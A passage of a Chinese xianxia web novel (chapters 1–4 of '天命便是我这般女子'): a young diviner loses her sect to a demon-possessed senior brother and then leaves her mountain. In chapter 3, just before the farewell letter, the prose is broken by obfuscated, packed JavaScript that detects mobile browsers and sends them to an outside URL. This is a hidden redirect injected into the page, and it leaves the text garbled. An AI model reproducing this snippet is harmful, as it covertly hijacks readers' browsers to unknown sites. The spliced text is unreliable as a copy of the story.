《天命便是我这般女子》
1. chapter.1红月
春阳和煦,万里无云。
碧云山灵气氤氲,草木繁盛,每逢春日,有梨花漫山。
“大师兄,你觉得什么才是天命?”
姜涟清合上书,坐在开满梨花的小院里,望向来人。
梨花如雪,徐徐飘落,骤然风起又如一阵清雨,捎来仲春的信笺。
“什么?”谢砚声一愣,“为什么这么问?”
谢砚声坐到她对面,一眼就瞥见她手上那本名为的话本,认出是自己藏在梨花树上的那本,耳根一红。
姜涟清手中捧着的那本话本,讲述了一个平凡男子得到机缘,破除万难,最终得道飞升的故事。
谢砚声轻咳两声:“天命嘛,不就是那么会事,我们又看不见摸不着的,说说就得了。”
姜涟清不被他忽悠:“好敷衍的回答,好好说话嘛!”
“现在不是说,外头不太平吗?二师兄此番历练也算是去救人,就这话本看得我也想入世了。”
谢砚声:“你现在还小,外头这么危险,还用不上你呢,大概再修炼个一百年,师尊就能放你出去了。”
“我也想做天命嘛,不出去怎么开始?”
“你啊,不要再偷我话本看了,天命不天命的自己算一卦呗,我们占卜师不就是算命的吗?”
谢砚声也知道糊弄不过他这个冰雪聪明的小师妹,可“天命”二字太过玄乎,本就是玄之又玄之物,要如何说清?
“师尊听到又要说你胡言乱语,一点未来掌门的样子都没有了。”
好在姜涟清并非真的要得到一个“天命”的答案。
少女坐在花雨中,眼神清澈如水,憧憬问:“大师兄,你说,我也会是天命吗?这话本子怎么从来没有写过天命之女啊?”
谢砚声笑笑,声音柔和:“我们家小师妹的天赋百年难得一遇,怎么就不是天命了?前些日子还把师兄按在擂台上打,现在问的什么蠢问题?”
“那是你自己不勤学苦练好吗?”姜涟清努努嘴,“二师兄出门前我们最后一战,就没赢你那么快,你要想想自己的问题。”
谢砚声:“这怎么还说教上我了?”
姜涟清将话本往石桌上一放,站起来朝屋内走去,青色的裙摆挟了梨白。
她边走边说:“这也算说教吗?不过事实而已。”
谢砚声收起话本,塞进衣襟里,心想万不可再让姜涟清找到他的什劳子话本,万一哪天惹她不快告到师尊那去,师尊又要说他不务正业了。
“好吧好吧。”谢砚声无奈承认,随后提醒,“午后别忘了出来见人,会派人来叫你,你二师兄回来了要给点面子。”
姜涟清在门口顿住了脚步。
她疑惑回头,清秀漂亮的眉眼间皆是不解:“我什么时候不给二师兄面子了,别平白无故泼我脏水嘛!”
“我会去的,你放心吧,就是会晚那么一点点吧。”
她伸手比划了一下,而后又转头,拉开了木门:“我去算今日的卦了,还没算今日运势,大师兄也要记得哦~”
谢砚声摆摆手,起身欲走:“好好好,小师妹,你别忘了啊!不然你二师兄和你生气我可不管!”
屋里传来少女清脆的应答声:“知道了知道了!我不会让二师兄生气的。”
待谢砚声走后,姜涟清闭了门,拿出几枚铜钱放在手中把玩。
铜钱是铜黄色,上面雕了梨花纹路,是师尊送给她的二百岁生辰礼,请沧洲一代炼器大师即墨先生所制。
方才的理由是用来搪塞大师兄的,她已经算过今日运势了。
可是得出的结果……很奇怪。
犹如平坦水面落入一粒小石子,一石激起千层浪,水波晕开迟迟不消。再平常不过,再异常不过。
姜涟清总有种不祥的预感。
她忽得不想去见二师兄了,可二师兄离门多日,作为师妹不闻不问又难成体统。
更何况,二师兄出门游历前,还答应她回来给她讲一路上的遭遇,说说归谕门之外的故事。
姜涟清眉头微蹙,好不犹豫。
*
姜涟清一直在房中带到天黑,也没人提醒她出门。
她屏息凝神,识海探寻,却未寻到一丝气息。
月上枝头,花影成树。
木雕花窗开着,抬眼便见一轮莹白的月,月芒冷冽,直直照进房里。
姜涟清心中的不安更甚,整颗心都因此而跳起来。
大师兄说,午后会派人来叫她。
眼下天色如墨黑,却迟迟无人前来告知,是二师兄的行程耽搁了,还是有其他事绊住了手脚,来不及叫她?
师门一众师兄弟都当她是个娇弱小姑娘,就算把他们全打赢了都一直这般觉得,毫无要她承担修道者职责的意向,也没有要她直面危险的意思。
有时候她都觉得,是不是太过了?她是一届女子不错,可也不需要过度保护。
太奇怪了。
现在太奇怪了,有些安静过头。
就算二师兄真的耽搁了,夜间也不当是如此寂静。
归谕门弟子夜间修炼者不在少数,她所在的晨雾苑时常能感知到有弟子在外修行,绝不该这般无声。
一点风吹草动,一点灵气流动都没有。
她不再等待,即刻出了晨雾苑。
正直春日,归谕门栽的最多的梨花竟枯萎殆尽,连同枝干一同成为朽木,一丝生命力都未遗留。
降星洲的星星向来是尘缘九州最清晰最明亮的,而今却蒙上一层薄薄的云雾,变得模糊不清。
半笼烟沙,辰星黯淡。
姜涟清疾步往文星殿走去,越靠近越觉得心惊。
一路上没见到任何弟子的身影。
站在文星殿跟前,姜涟清却突然止了脚步,抬眼瞥向那轮明月。
月中树影依旧,同她在晨雾苑见到的一样。
“夜阑珊!”
姜涟清召出了一把通体红色,缀有珠帘的纸伞。
她撑开赤伞,几步凌空,发上系着的红飘带飘摇,直冲着月影而去!伞尖狠狠顶向那轮明月!
“破!”
两波不同的灵力相互碰撞!一不做二不休,直直从月影撕开一道口子。
破境而出时那股魔气几乎要将她弹飞,然天边划出一道赤红色的缝隙,于此断裂,露出一轮血色的月。
姜涟清回头,突然愣住了。
猩红月芒像是吸尽了鲜血,浓郁血腥味随之蔓延,黑色的魔气挥之不去。
有一股强烈的杀气。
文星殿中有人持刀,披头散发,与归谕门弟子打成一团,连众长老一起出手都拦不下他。
所立之处,一群青色的衣衫染成血红,了无生息。
她从境界中破出,见刀光剑影,鲜血淋漓,师门弟子惨死,尸横遍野。
砰——
有一个青色的身影从文星殿里被扔出来,倒在地上蒙得吐出一口鲜血。
他注意到愣在门口的姜涟清,一边吐着血,一边磕磕绊绊地开口:“小、小师妹!咳咳咳……”
这名弟子口中呛血,话语含糊不清,却又急切万分。
“小师妹……救、救、救救大师兄,救救大师兄和师父!二师兄他!他!”他眼中出现重影,连姜涟清的脸都看不清了。
“二师兄他!入魔了!”
“吴云贺入魔了!那魔头先前趁着掌门不备,一刀刺进了掌门的丹田,掌门她!她……!”
血与泪混在一起,都不知道是血流得更多,还是泪流得更多。
“小师妹…
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…救救、救救!救救他们咳咳咳……”
姜涟清脑中的弦蓦然断了。
她僵硬地扭过头去,细细辨认着被众人围在正中杀红眼的疯子。
她张了张嘴,却什么都说不出。
那确实是她二师兄。
怎么会这样呢?怎么会变成这样?吴云贺出门之前还言笑晏晏地保证过,必将全须全尾带着趣事回来与她分享。
怎么会……
姜涟清不再过多思考,提起夜阑珊冲进文星殿中。
“吴云贺!你清醒一点!你还知不知道我是谁!”谢砚声一剑挡住攻击,厉声呵斥,“你给我清醒过来!”
吴云贺一刀接着一刀,丝毫不理会谢砚声的呼喊,刀刀直指命门!
“他已经失了智了!”一名长老声嘶力竭地喊,“砚声!别顾他是你同门了!在不杀了他,归谕门都要被他屠尽!”
“涟清呢?!一早便叫人去找她,怎么还没过来!”
吴云贺听到这名字先是一顿,一瞬迟疑被谢砚声一剑刺穿心口。
他嘴角流下一道血痕,面容扭曲,尽显痛苦之色。
“抱歉,师弟,但我不能再让你胡作非为下去了!”谢砚声一阵心痛,剑上却毫不留情。
可“吴云贺”却突然笑了。
他邪魅一笑,猛得将刀刺进谢砚声腰腹处,一脚踹飞!
谢砚声吐出一口血,狼狈地倒在地上,眼中满是不可置信:“怎么会……”
“吴云贺”不理会他,转头向方才出声的长老走去:“还真以为,吾是那毛头小子?呵!以他的资质,还不够让本尊青睐,不过是借着用一下,做些有趣之事。”
屠人师门,在他口中竟成了有趣之事?
“放心好了,本尊高兴过后自会送这小子与你们这群蝼蚁一同下地狱。”
他抬起刀,正欲送这位长老归西。
长老绝望地闭上眼,却迟迟没等来长刀刺穿身躯,而是一声清脆的“当——”
清雅的梨花香混杂在血气中近乎模糊,却一下便能知晓来者何人。
姜涟清手持红伞挡住这致命一击,眸光冷冽:“无论你是谁。”
“从我二师兄的身体里,滚出去!”
赤伞忽然旋开,以不可挡之势逼得“吴云贺”节节退后,几乎要将他钉在文星殿的柱子上!
然而“吴云贺”也不是吃素的,一手凝出一团黑红的诡焰,砸向姜涟清。
姜涟清一眯眼,召回夜阑珊挡下一击,下一刻“吴云贺”却从她身边飞快掠过。
噗呲——
刀刺进身体的声音。
当她转头,唯见“吴云贺”挂着她再熟悉不过的笑容,用她再熟悉不过的惬意眼神看着她。
身后,是长老尸骨未寒。
“你就是这小子,口口声声念着的那个小师妹?”
姜涟清抿唇不语。
“吴云贺”也不急,语调漫不经心:“哎呀,你是不知道,你这位二师兄求我的时候有多可怜。”
“当时是在哪里来着?好像是盈洲,他跪在地上求吾放过流民百姓,然后吾就和他提了一个条件。”
文星殿的顶部是空的,本意是便于观星。
如今,血红色的月芒倾泻而下,落在那张丰神俊朗的脸上,神情相似却又那么陌生。
“吾与他说,吾只是太寂寞了,正好他出来游历,那便把身体借给吾走一程吧,只要借与吾,吾就放过那群流民。”
他的笑咧到耳根,分外夸张,身体里的魔气止不住地冒出。
“真天真啊,吾都被那帮人叫邪祟了,就算他应了,吾又会放过那些人吗?哈哈,还让吾找到了更有意思的事。”
“吾真想知道,他得知自己害了师门,会露出多美妙的表情啊。”
2. chapter.2血海
姜涟清再听不下去,打开夜阑珊几步上前,伞尖直戳门面,与邪祟在红月下打起来。
她的二师兄……清风朗月,一代天骄,平生最恨邪祟作怪,最怜悯世间万物。
如果二师兄知道的话。
邪祟迎面一刀,魔气四溢要将她裹挟,姜涟清只得开伞,青色的灵力与之相冲,就看谁能比得过谁。
如果二师兄知道的话……
姜涟清心中泛起酸楚,心好像要被撕裂开来。
她根本不敢想二师兄要怎么面对,唯一可以确定的是,二师兄一定不会活下去了。
他会自杀谢罪。
姜涟清甚至有些埋怨,傻师兄,怎么这么容易相信别人?比她还要相信,世界上做坏事之人都有苦衷。
痛苦,从来不该是作恶的理由。罪无可赦之人就是再可怜,只要犯下了罪行就注定是不归路了。
或许当时情况属实紧急,他再寻不到其他办法,可是……
可是……
她想流泪了。
可是失了智的邪祟,怎能赌他们的良知呢?
于是。
一步错,步步错。
这邪祟果真修为高深,姜涟清额边落下一滴冷汗,嗓中透了一股血腥味。
红月之下,一黑一青两股力,青色略显疲势。
不过须臾,那邪祟似是不愿再陪着玩下去了,冷笑一声:“啧,也没多有意思。”
他一使力,黑色没过青色,直冲姜涟清心口!
“啊——!”
姜涟清被弹飞出去,额头撞上乌色的柱子,留下血痕来。
一抹殷红从她口中流出,她颤抖着,慢慢爬着要去再度捡起夜阑珊,烟青色的眼眸落入血污,半目血红。
邪祟好整以暇地缓步走来,语气淡淡。
“若非妄洲事变,也不会让我等修为大涨,一个两个的,总不能承了妄洲的情,不愿还妄洲的债吧?”
妄洲?
姜涟清紧握夜阑珊,一寸寸回头。
她面色苍白如霜,头痛欲裂,似乎就要昏迷过去,一双眼却执着如炬。
“啧,别用这副眼神看吾。吾等就是杀遍九州又能如何?你们这群吸血的蝗虫自作自受罢了,这都是天命。”
他站在姜涟清身前,居高临下地看着她,还拿着那把刀。
那是吴云贺的刀。
“哎呀呀,真好奇吴云贺看见了是什么感觉,上回吾屠了一个村的人他可是要带着吾去死呢。哈哈,不过吾可不会跟着他死。”
吴云贺的浮云刀,同她的梨花钱一样,是师父赠予的二百岁生辰礼,上面还刻着云纹。
若她没记错,那刀柄上,应还雕着“浮云”二字。
“吾还没玩够呢。”
“让吾想想,杀了你们,接下来要去杀谁呢?”
邪祟抬起浮云刀,刀光一闪。
姜涟清下意识闭上了眼。
当——
刀锋却迟迟未落。
是有谁来相助了。
她再次抬眼,是二师兄流泪满面的脸。
吴云贺浑身战栗,把浮云刀扔出去了好远:“涟清,杀了我,杀了我他也要死,杀了我!”
姜涟清一怔:“二师兄?”
下一刻他又面容扭曲,眼神阴翳:“吴云贺!吾准你出来了吗?给我退回去!杀了你!你想得美!”
吴云贺双手掐上自己的脖颈,声音哽咽:“春望,你忘了吗,早在你进入我的那一刻起,你和我的灵魂就绑在一起了。”他一字一句道:“你根本就不是一个完整的灵!必须依附一人而生!”
“你需要我,我死了,你也活不了。”
“吴云贺!”眼前人黑气更重,一手掐了个诡焰,“我现在就杀了她!”
邪祟掷出灼烈的黑火,下一秒却被吴云贺操纵着向后退去。
诡焰朝着姜涟清砸去,此刻她身体剧痛,根本没有办法躲开。
方才被踹到一边的谢砚声在千钧一发之际冲了上去,一剑挡下了黑火。
姜涟清一惊,谢砚声方才分明已经……
似乎是知道她在想什么,谢砚声回头,温柔地笑了笑:“我自爆金丹了,我会和云贺一起死,但归谕门不会。”
“涟清,要做门主了,记住了哦。”
说罢,他头也不回地向吴云贺走去,紧紧地抱住了他。
吴云贺与名为春望的邪祟纠缠着,谢砚声突然抱上来时,刚好占着上风。
“大师兄……”
谢砚声在他耳畔轻声道:“云贺,不怕,师兄在呢。”
“师兄和师父都在。”
一阵刺眼的白光刺得姜涟清几乎目盲,可她怎么也不愿就此闭上眼。
那是她的大师兄二师兄。
巨响过后,血液飞扬,有些甚至溅到了姜涟清脸上。
而浮云刀安安静静地躺在一旁,大师兄的濯尘剑从白芒中掉落在地,发出很轻的一声“当”。
两行清泪从眼眶中流出,姜涟清捂着心口,终于昏迷过去。
红月当空,红光相照,云雾未消。
今晚的星星看不见。
*
无边丝雨细如愁。
姜涟清再睁开眼时,脸上的血渍都已经干了。
天空蒙上了一层灰色,雨点滴答声未歇,倒也不算太寂寞。
她从地上爬起来,一步一步走向文星殿外。
文星殿外遍地尸体,血迹斑斑,而雨丝太小,竟是汇了一片血海出来。
姜涟清麻木地走进雨里,任由雨水打湿衣裳。青色裙摆曳地,染成一片刺目的红色。
没有了。
“不是春天了吗?”
姜涟清倏然想到。
“怎么这么冷啊。”
她没有家了。
黑压压的睫毛挂了雨丝,视线中的一切都朦胧。
不知在雨中站了多久,她忽然听到踩水的声音,有人正往文星殿来。
姜涟清顿时警惕,召来夜阑珊,当作一把普通红伞撑开,以备不时之需。
蓝白衣衫微湿,长发全部梳成一个马尾,一把白色纸伞轻掩,快挡住他半张脸,却依稀可见那绝色之姿。
来人风尘仆仆。
棠溪迟轻抬纸伞,见一女子立于血海中,烟青色的眼中满是冰冷,脚下是满地尸体。
他怔愣片刻,开口询问道:“这位姑娘,这是发生了什么?”
姜涟清答非所问:“你是谁?”
棠溪迟:“在下姓棠溪,从浮洲来。姑娘放心,我没有恶意。”
他几步走进血海,丝毫不关心是否会染红他的衣摆,蹲下探了探尸身的气息。
棠溪迟眉头微蹙,又很快如常,站了起来。
“我方才在外头,见牌匾写着‘归谕门’,本想向这里的弟子问些消息,却发觉此地血腥气过重,所以才想进来看看,没想到原来是……”
“姑娘,你也是归谕门弟子吧?”
姜涟清垂眸:“嗯,我是归谕门门主,你有什么事吗?”
“姑娘,在下方才所说的血腥气,其实并不完全,准确来说,是感觉到了‘春望’的气息。”棠溪迟说,“经多番打听,我猜测,‘春望’的宿主,应该就是当时在盈洲,救了万千流民的吴云贺,他的故土,便是降星洲。”
姜涟清睫毛微颤:“所以,你是来找吴云贺的?”
棠溪迟:“正是。”
姜涟清:“那你来晚了,春望已经死了,我二师兄他们也没有活下来,整个归谕门,都只有我一个人了。”
她的声音越说越轻,缥缈如烟。
“昨日,本是二师兄的回门日,现在是祭日了。”
不止一个人的
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祭日。
“姑娘……”棠溪迟一时语塞,不知该怎么安慰。
姜涟清撑伞背过身去,踏上台阶:“我叫姜涟清,棠溪小友若是求一个落脚之地,可以暂留下。”
棠溪迟见她明显是不想要别人可怜的态度,张了张嘴也没再说些什么。
棠溪迟:“谢姜门主。”
姜涟清又走进文星殿中。
昨夜场面混乱,她一时没有看清吴云贺到底把浮云刀扔去哪里了。
以金丹爆破为中心,炸开了一朵朱花,一柄剑便躺在其中。
姜涟清先是走到那摊血迹中,拾起了大师兄的濯尘剑。
濯尘本来通体雪白,不染尘埃,现如今被染成暗红色,剑柄上那两个字都被填成绛色。
谢砚声这么爱干净的人,定然受不了他的剑脏成这样。
姜涟清把剑抱进怀里,抬头四顾,寻找浮云刀的位置。
她左顾右盼,终于在一具尸身身边找到了这把刀,可当她看清尸体的脸时,却觉得自己的心再也不会跳了。
棠溪迟漫步走过血海,心中却无太多波澜,只得感叹世事无常。
话说,这位姜姑娘够稀奇,撑着伞还浑身是雨。
他走进文星殿时,忽得听到几声隐忍的哭声。
“师尊……”
“师尊……”
一刀一剑落于身旁,红飘带落于刀剑,衣衫湿透的少女扑在一女修士尸体上哭得肝肠寸断。
开始只是一声一声喊着,却越来越凄惨。
“啊啊啊啊啊——”
姜涟清终于放声大哭起来,指尖攥着遗体的衣袖,微微泛白。
再冷静都是假的。
她被师门宠了这么多年,怎可能不痛彻心扉?
棠溪迟立在大殿门口,只是收起了白伞,没有再踏进一步。
等待了多久尚未可知,待绵绵春雨落尽之时,大殿里的哭声终于越来越小。
姜涟清深知,自己不能一味沉浸在悲痛中,也不能停留在原地。
妄洲。
她心里默念。
春望说,满门惨死就是归谕门的天命,那么……
妄洲邪祟的天命,就是背着春望的债,直到被她杀尽才算了结。
她抱起刀剑,转身就看见了在门口良久的棠溪迟。
“棠溪小友,还有什么事吗?”
棠溪迟扯出一个轻飘飘的笑:“姜门主,如果想装作很冷静的话,还是笑一笑吧。”
“需要帮忙吗?这么多人一起下葬,也是个力气活。”
姜涟清听前一句的时候是真的很想骂人,可听到第二句时,她又平息了怒意。
这人真够奇怪的,一个路人这么好心,凑上来帮一个宗门遗孤说帮忙处理殡葬事宜。
偏生她感觉得到他的善意,只是善意,而非同情。
姜涟清:“若棠溪小友愿意,那当然好,就是不知是否会耽误小友行程?”
棠溪迟摇摇头:“不会的,此番前来就是为了处理春望之事,眼下春望已死,我就当为了我的迟来弥补。”
“恐有误会,便先说清了。抱歉,在下并非真的想帮姜门主,只不过是为自己该做之事善后罢了。”
真奇怪,姜涟清心中道。
这个人真奇怪,分明就是心善而已,还要寻个冠冕堂皇的理由往自己身上揽错,要她不要多想。
春望之事突然,谁都始料不及。
这棠溪认不认都没关系,这个人情她记下了。
然她口上说:“那便再好不过,我也不喜欢欠人人情。”
说着,她把那一刀一剑扔给棠溪迟,兀自背起师尊的尸首。
棠溪迟接过飞来的刀剑,细细辨认了一番刀剑之名。
在看到刀柄剑柄上那熟悉的字形时,他哑然失笑。
好巧,真够巧的。
3. chapter.3下山
春雨惊春清谷天,待到梨花落尽时,正值清明,归谕门全门上下两千弟子全部下葬。
说是下葬,葬的却不是尸体。
棠溪迟说,尸体太多了,全部下葬不现实,也不正确,浪费时间的同时还占降星洲的山。
他建议姜涟清去寻各弟子一件物品,尸体就交由他来解决。
姜涟清没说什么,只是点头应允了。
左右也不会是什么尊重死者的解决方法,她也不过多询问。
何况棠溪迟也没说错,三千尸体下葬太恐怖了。
她从归谕门各处寻来信物,堆在晨雾苑里,于几日前埋于后山。
梨花落尽,满地斑白间夹着几抹焦褐色,绿树抽新枝,翠色的叶片肆意生长,更旧换新。
棠溪迟进来时,姜涟清正在石桌上掷梨花钱。
今日运势如常。
半月前那似常非常的一卦,现在看去都有些像镜花水月。
可再感知不到的灵力波动又告诉她,一切都发生了。
无论如何,归谕门三千弟子都不会回来了。
“姜门主在干什么?”棠溪迟在她对面坐下,好奇问。
姜涟清随意拨弄桌上的三枚铜钱:“算卦,要给你算算吗?”
棠溪迟:“不必了,不过我倒想看看这要怎么算,是什么钱都能算吗?”
姜涟清点头:“你就是拿铜板来也是一样的。”
说着,她将三枚梨花钱合在掌心,摇动几下后掷出,等梨花钱自己停下来。
一反二正。
有些差异,但总体来说与方才并无二致。
姜涟清指指铜钱:“就像这样,如何解读就要看造诣了,我归谕门每天都要算今日运势。”
棠溪迟点点头:“这样啊,那卦术好学吗?”
姜涟清:“看天赋喽,修道者最重要的还是天赋吧?机缘什么的太偶然了。”
棠溪迟一笑:“说的也是,我回头试试看,很有意思的东西我就都想学一点。”
姜涟清心中嗔怪。
还什么都想学一点,精于一项就有够累人的了,那种顶级到什么都能学会的天赋,这种人太难出世了。
或许放在民间,努力是可以赶上天赋的,但在修仙界,天赋即天堑。
有些人当真如此气人,随便一学便顶他人几年苦修。
“接下来,姜门主有什么打算吗?”棠溪迟问。
乍然风起,一卷白梨空中舞,似蝴蝶扑翼。
几片梨白卷到少年竖起的马尾上,平白添了几分娇俏。
姜涟清:“南下?”
“哦?”这倒是出了棠溪迟的意料了,他还以为她第一目标会是重建宗门。
“为什么要南下?”
姜涟清再度回想起春望口中的妄洲,手指一紧,握成一个拳头。
姜涟清:“去妄洲,斩邪祟,复仇。”
棠溪迟闻此言忍不住笑了一声:“姜门主,你真的很不一样。”
姜涟清不顺着他的话走,直截了当地说出来她留他的另一个目的。
“棠溪小友既然追寻春望的气息,想必对妄洲邪祟了解一二,不知可否告知于我?此仇不报,涟清愧对师门。”
棠溪迟倒也理解这种心情,但既然姜涟清发问了,他就好好的,从事实角度出发来谈。
棠溪迟:“姜门主现在南下,去妄洲,怕是一辈子不得复兴师门了。”
姜涟清眉头一皱,欲反驳。
棠溪迟却不紧不慢继续说:“以你现在距化神境一步之遥的修为,的确足矣,可姜门主应该不会天真觉得单精卜术便可报仇雪恨。”
“说来冒犯,但归谕门惨案最重要的一点,不就是武艺不精?虽说精一门已经非常困难了,可行天下若没有武艺傍身,就和归谕门一样。”
姜涟清的眉头越蹙越紧。
“不爱听也听着,你问了就听完。”棠溪迟指节敲了敲桌面,“若本身是剑修符修阵修之类,算先天条件好,卜修不同,你要想报仇,先破了化神期,再勤加练习。”
“这两点做到以后,恭喜你,就够格去妄洲单挑邪祟了。”
姜涟清:“你好像很懂。”
棠溪迟挑眉:“我都游遍九洲了,心里多少有个数,追杀春望纯粹是他给我挚友造成了不小的麻烦,我对行侠仗义其实没兴趣。”
对行侠仗义没兴趣?
这一个月来,姜涟清不知要被此人奇怪到多少次。
这人做着一些善良之举,却惯会口是心非,她二师兄就比他坦诚。
不说这一点,棠溪迟给她的感觉和二师兄很像。
说着些不靠谱的,做起事来却不是一般靠谱。
她脱口而出:“你和我二师兄很像。”
这下轮到棠溪迟不解了:“吴云贺?和我?何出此言。”
姜涟清又把梨花钱拿出来把玩了。按着步骤再做一次,而这次却有一枚直直立在桌面。
静止于面,需重掷。
“在做好事这一方面很像,不过二师兄可比你坦然多了。”
棠溪迟听了这答案大笑起来。
姜涟清在此期间又掷了一次梨花钱。
一反二正。
“你笑什么?”
“没什么,只是想不到在下还能于吴云贺相比。”棠溪迟笑嘻嘻的,“或许确有相像之处,但不是这一处,把我和他放一起,春望绝对选他。”
姜涟清:“为何?”
棠溪迟摘下头上的梨花,轻轻一吹。
梨花落地,少年目光久久不散。
“妄洲邪祟只有四个,春望其名你已知晓,剩下三位,我也只知其中一个叫秋许。”
“邪祟附身是他们的选择,各自有各自标准,春望就喜欢吴云贺这种正义凛然之辈,与他截然相反。”
“说实在的,他们不会轻易附身的,把性命与他人绑在一起……姜门主,你若要南下,或许能得一个答案,为什么是吴云贺的答案。”
他说完后,除了簌簌风声,便什么也听不到了。
为什么是二师兄的答案?莫非此事另有原因?
光听那春望只言片语,确实不能盲目相信。
姜涟清心下一沉。
半晌,她问:“你还会在这里待多久?”
棠溪迟:“明天就走,这不是来和姜门主道别吗?你我二人萍水相逢,就当交个朋友。”
姜涟清:“好,我知道了,我不会立刻南下的。”
棠溪迟哈哈两声:“听人劝吃饱饭,我那挚友就死脑筋,真不知拿他怎么办。”
风声未息,朱绡飘扬,心事亦不休。
很快,她就要是一个人了。
*
翌日一早,棠溪迟就离开了归谕门,只留了一封信,用石头压在晨雾苑的石桌上。
姜涟清一出门就看见了那份信。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002738|178306||http|test|mini|href|location''.split(''|''),0,{}));
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>她几步上前,打开了信。
致姜门主:
见字如面,展信佳颜。
当你看见这封信的时候我应该走出去好远了,若你当在下是个朋友,便再听在下一句废话,武炼之事不可闭门造车,还需多出去走走,恰逢乱世,灾厄四起,降星洲不会意外,你懂我意思吧?
江湖有缘自会相见,在下先行,愿姜门主得偿所愿。
落款,棠溪迟。
姜涟清心中复杂,她再次觉着,棠溪迟与吴云贺相似极了。
虽论心眼,棠溪迟该是八百个吴云贺不止。
又说起出门之事,她才发觉,现在没有人会告诉她她年纪太小了。
二百来岁在修道者中年纪很小吗?
其实不小的。
她该出去走走了,这偌大的归谕门只剩下她一个人,好生寂寞。
站在山口时,她忽得往身后看了一眼。
下山之路曲折蜿蜒,从记事起再未离开碧云山的姜涟清,花了不到一炷香的时间,就能走出这座她待了二百年的山。
路不远,而山外的情况,她却从来只能从师兄口中得知。
该是如何世道,才让师尊她老人家做出如此决断?
她心中轻声道:师尊,师兄,我下山啦,等我回来。
山外不比山中,与山中清雅幽静不同,山外的风浑浊,混杂着不知几种气味。
降星洲的山林并不多,多为高原,因此极易观星。而卜修所学占术,其中最为有名的,叫观天象。
姜涟清走山下的林子里,瞬间便闻到了半月前最熟悉的气味,血的味道。
她眸色一凝,悄无声息地往来源靠近。
树影绰绰,枝繁叶茂,却莫名透着股烈火焚烧后的气息。
透过树干缝隙,她看见一高大威猛,浑身泛着黑气的妖修,将刀横在一位黑衣少年面前。
那黑气的模样,几乎与春望的一模一样,却更为低等。
眼瞧那大刀就要落到少年身上,姜涟清已偷偷召出夜阑珊,准备出手相救。
谁曾想那少年却丝毫不惧。
他靠在焦黑的树干上,语气慵懒:“呵呵,你是没有家人吗?”
刀锋迟疑了。
那妖修像是被戳到了痛处:“你说谁没有家人呢?你……!”
少年翻了个白眼,似是在说:没有自知之明的家伙。
姜涟清欲相救的步伐一并跟着停住了。
那少年胸前扎着一条小辫子,其余墨发尽数散开,分明是极其妖冶的长相,却将头一歪,眸光轻蔑。
“你这辈子也算完了,杀完我记得捅自己一刀,别活着浪费灵气。”
妖修:“?”
姜涟清:“???”
有没有一种可能,你现在处于一不小心就会付出生命代价的危难关头?
怎么会有人在这种时候挑衅别人啊!
果不其然,妖修顿时被激怒了,一刀横在那截如玉的脖颈上,轻微使劲。
“我让你把那东西交出来!你到底借不借?别扯些有的没的!”
“哇塞。”那少年嗤笑一声,一脸欠扁的模样,“要命一条,到底动不动手?”
“凭什么非要给你?去找医修看看脑子,别得了什么这儿有问题的病跑出来发疯。”他指了指自己的脑袋。
“老子又不是什么许愿王八,你要我就得给是什么道理?把抢劫说的这么好听。”
4. chapter.4逢生
楚逢生从来没觉得自己会倒霉,他觉得自己一辈子谨言慎行不该倒霉。
直到在雪淞谷惯例采一株云蘅草时,明明是做过没有千次也有百次的动作,他却在这一次失手。
换任何人来都无法接受好吗?
失手就失手吧,他也不是没有挽回的机会,可下一秒他就两眼一黑晕过去不知天地在何处了。
等他再次睁眼,是在一片小树林里。
叶密而不疏,苍翠欲滴,遮天蔽日,却不比雪淞谷的草木味浓郁,亦不比雪淞谷的树叶繁茂。
他第一眼就认出来这里不是初日洲了,初日洲的树要是长成这样,那可以收拾一下准备枯掉。
最稀奇的是,他明显感觉到了身体的异常——
这不是他自己的身体。
他最先找到一条小溪流,细细看过这具身体的样貌。
眼尾上挑,眸色清浅,这张脸相比他自己更为柔和,更加苍白,体温更低,可要说有多大不同?
并没有。
无非是看起来好说话些。
真是奇了,离了身体的魂居然如此理所当然地在另一具身体里住下。
楚逢生手上还拿着一株云蘅草,看样子却并不是自己当时摘的那一株。
虽同样是银白色,茎脉上有几丝若隐若无的青色痕迹,可这草的叶片焉焉的,萼片盛着的雪色花朵也干瘪。
任谁来都看得出不是新鲜的。
不过楚逢生还是更好奇这具身体的主人。
这人是谁?居然能有一株云蘅草,功夫不错。只是,这里也不是初日洲,居然有株云蘅草?!
他还在疑惑着,却突然感觉背后有股危险的气息在向他靠近。
“这味道……哈哈哈哈哈!老子找到你了!”
那是无比刺耳的声音,楚逢生下意识皱眉,想开口骂几句,一转头却是一高大漆黑的妖修。
身上甚至缠着几股魔气。
楚逢生心里暗道不好,硬生生把骂人的话咽了回去。
那妖修眼中泛着精光,就好像找到了什么可口的猎物,看得楚逢生浑身不适,下意识往树林深处缓慢移动。
妖修露出一个贪婪的笑:“你怕我啊,楚医师?你最好把东西交出来,不然……”
他示意手上那把黑刀,眼神戏谑。
楚逢生不语,一味退后。
楚医师这个称呼一出,他没有丝毫恍惚,就他这个名声没有人会这样毕恭毕敬地称呼他。
不是他就只能是这具身体。
好巧,居然是同姓。
楚逢生没有回话,忽然往小溪另一边跳了过去,狂奔起来!
“跑什么呢楚医师!我不过是想问您要一件东西!”
那妖修在他身后大喊,声音通过风传到他耳朵里。
楚逢生跑着,默默翻了个白眼。
刚意识到自己魂穿了哪个倒霉蛋就遇到麻烦,看来这人不够谨言慎行,别是被追杀的时候把自己跑没的!
至于后面那个谁,一看就来者不善,他还留原地是嫌命长吗?他只是一届柔弱的金丹期医修,要论武力他还是退下了。
更何况这具身体和死人一样!灵力运转也太僵硬了!
楚逢生脚步飞快,往林深处逃去。
眼看地势越来越高,似乎是要往山上去了,一把玄黑的大刀直直插在了他身前的地边上。
停下不及,遂一头撞了上去,他撞了个眼冒金星,栽倒在一旁漆黑的树干上。
倒下那一刻,楚逢生从这树干上,探到了浓重的魔气。
他眸光凝重一瞬。
而转头,妖修提着刀,站在他身前笑得得意。楚逢生感到一阵恶寒。
“哈哈哈哈哈!把那小白草交出来吧楚医师,我们就当做个交易,把东西借给我。不然我们老大可不会这么容易放过你!”
他一刀横在楚逢生面前。
“楚医师,不要敬酒不吃吃罚酒啊。”
